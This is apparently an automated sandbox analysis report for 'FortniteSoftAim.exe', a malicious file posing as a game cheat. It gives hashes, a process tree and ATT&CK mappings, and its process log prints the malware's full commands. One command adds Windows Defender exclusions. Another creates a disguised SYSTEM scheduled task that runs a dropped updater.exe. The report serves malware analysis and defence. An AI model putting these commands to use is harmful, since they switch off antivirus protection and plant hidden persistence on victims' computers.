07f11805ab5a9d79a86522b9bef4c8d57868657af91094aeaef0698255ba641c

Analysis

max time kernel
150s
max time network
18s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
08-08-2024 21:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

FortniteSoftAim/FortniteSoftAim.exe
Size

4.5MB
MD5

4c4634a2bc16b0113bfdd25b516aeb04
SHA1

da38205ecf5c411628d0af811ba4ef2d95dca235
SHA256

258e26da26b0a40f83795127541ca0cea7063265cac97fbfb5cac164f4d4335e
SHA512

c5dba985fe3d383c5eb69e8fc3c3c7def62e9245864b5dde0a22be328226e5f65c752dd278a18d2056435722f2a00ee179c6627f145a3b726873309ab059452d
SSDEEP

49152:Cl6RFdAprSXNmaau4aKxYh0miKoRFsC6eeOO4hpvc8ZJE/9TUKpRjcracB1+AspO:+61XN1au4y08o8XdM25VTUK7AP

Score

10^/10

execution

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs

Processes:

FortniteSoftAim.exeupdater.exe

description	pid	process	target process
PID 1720 created 1424	1720	FortniteSoftAim.exe	Explorer.EXE
PID 1720 created 1424	1720	FortniteSoftAim.exe	Explorer.EXE
PID 1720 created 1424	1720	FortniteSoftAim.exe	Explorer.EXE
PID 1580 created 1424	1580	updater.exe	Explorer.EXE
PID 1580 created 1424	1580	updater.exe	Explorer.EXE
PID 1580 created 1424	1580	updater.exe	Explorer.EXE

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

2696 powershell.exe
2660 powershell.exe
2888 powershell.exe
2280 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

1580 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

2644 taskeng.exe

pid	process
2696	powershell.exe
2660	powershell.exe
2888	powershell.exe
2280	powershell.exe

pid	process
1580	updater.exe

pid	process
2644	taskeng.exe

Drops file in System32 directory 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

updater.exe

description pid process target process

PID 1580 set thread context of 1904 1580 updater.exe conhost.exe
Drops file in Program Files directory 1 IoCs

Processes:

FortniteSoftAim.exe

description ioc process

File created C:\Program Files\Google\Chrome\updater.exe FortniteSoftAim.exe

description	pid	process	target process
PID 1580 set thread context of 1904	1580	updater.exe	conhost.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	FortniteSoftAim.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 9069994ad9e9da01	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exe

pid process

2896 schtasks.exe
2420 schtasks.exe

pid	process
2896	schtasks.exe
2420	schtasks.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

Processes:

FortniteSoftAim.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.exe

pid	process
1720	FortniteSoftAim.exe
1720	FortniteSoftAim.exe
2696	powershell.exe
1720	FortniteSoftAim.exe
1720	FortniteSoftAim.exe
2888	powershell.exe
1720	FortniteSoftAim.exe
1720	FortniteSoftAim.exe
1580	updater.exe
1580	updater.exe
2660	powershell.exe
1580	updater.exe
1580	updater.exe
2280	powershell.exe
1580	updater.exe
1580	updater.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe
Token: SeDebugPrivilege	2280	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

powershell.exetaskeng.exepowershell.exeupdater.exe

description	pid	process	target process
PID 2888 wrote to memory of 2896	2888	powershell.exe	schtasks.exe
PID 2888 wrote to memory of 2896	2888	powershell.exe	schtasks.exe
PID 2888 wrote to memory of 2896	2888	powershell.exe	schtasks.exe
PID 2644 wrote to memory of 1580	2644	taskeng.exe	updater.exe
PID 2644 wrote to memory of 1580	2644	taskeng.exe	updater.exe
PID 2644 wrote to memory of 1580	2644	taskeng.exe	updater.exe
PID 2280 wrote to memory of 2420	2280	powershell.exe	schtasks.exe
PID 2280 wrote to memory of 2420	2280	powershell.exe	schtasks.exe
PID 2280 wrote to memory of 2420	2280	powershell.exe	schtasks.exe
PID 1580 wrote to memory of 1904	1580	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1424
- C:\Users\Admin\AppData\Local\Temp\FortniteSoftAim\FortniteSoftAim.exe
  "C:\Users\Admin\AppData\Local\Temp\FortniteSoftAim\FortniteSoftAim.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#cpwbzlmli#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2896
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:2864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#cpwbzlmli#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2420
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:1904

C:\Windows\system32\taskeng.exe
taskeng.exe {C6E23174-859C-445A-92E5-58B7094EB2A4} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
4.5MB

MD5
4c4634a2bc16b0113bfdd25b516aeb04

SHA1
da38205ecf5c411628d0af811ba4ef2d95dca235

SHA256
258e26da26b0a40f83795127541ca0cea7063265cac97fbfb5cac164f4d4335e

SHA512
c5dba985fe3d383c5eb69e8fc3c3c7def62e9245864b5dde0a22be328226e5f65c752dd278a18d2056435722f2a00ee179c6627f145a3b726873309ab059452d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5ST1UZZCE9XT7VCKBZV5.temp

Filesize
7KB

MD5
7f2e0cfe4be9d0bba7dfb6f699bb3c35

SHA1
d820947947799030ddddd47231675d012e2b4f3e

SHA256
a4a15af0664f17e211ab7f7e0432b0dc9569d0d53bf7ff6dee488c9ae99d32a1

SHA512
e2da8faf90d8e18a100db6c5fd6c2859d23e220f567e75aeac510ad76766a79f650f978f7bacd05ff18941673a4fc7eb3a5d0937f929fedad3bcccf1cd113894

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/1580-31-0x000000013FC30000-0x00000001400AE000-memory.dmp

Filesize
4.5MB

Download
memory/1580-27-0x000000013FC30000-0x00000001400AE000-memory.dmp

Filesize
4.5MB

Download
memory/1720-23-0x000000013F940000-0x000000013FDBE000-memory.dmp

Filesize
4.5MB

Download
memory/1720-0-0x000000013F940000-0x000000013FDBE000-memory.dmp

Filesize
4.5MB

Download
memory/1904-34-0x0000000140000000-0x000000014002A000-memory.dmp

Filesize
168KB

Download
memory/1904-32-0x0000000140000000-0x000000014002A000-memory.dmp

Filesize
168KB

Download
memory/2696-5-0x000007FEF640E000-0x000007FEF640F000-memory.dmp

Filesize
4KB

Download
memory/2696-9-0x000007FEF6150000-0x000007FEF6AED000-memory.dmp

Filesize
9.6MB

Download
memory/2696-12-0x000007FEF6150000-0x000007FEF6AED000-memory.dmp

Filesize
9.6MB

Download
memory/2696-7-0x000007FEF6150000-0x000007FEF6AED000-memory.dmp

Filesize
9.6MB

Download
memory/2696-11-0x000007FEF6150000-0x000007FEF6AED000-memory.dmp

Filesize
9.6MB

Download
memory/2696-8-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

Filesize
32KB

Download
memory/2696-6-0x000000001B4F0000-0x000000001B7D2000-memory.dmp

Filesize
2.9MB

Download
memory/2696-10-0x000007FEF6150000-0x000007FEF6AED000-memory.dmp

Filesize
9.6MB

Download
memory/2696-13-0x000007FEF6150000-0x000007FEF6AED000-memory.dmp

Filesize
9.6MB

Download
memory/2888-19-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/2888-21-0x0000000001CE0000-0x0000000001CE8000-memory.dmp

Filesize
32KB

Download
memory/2888-20-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download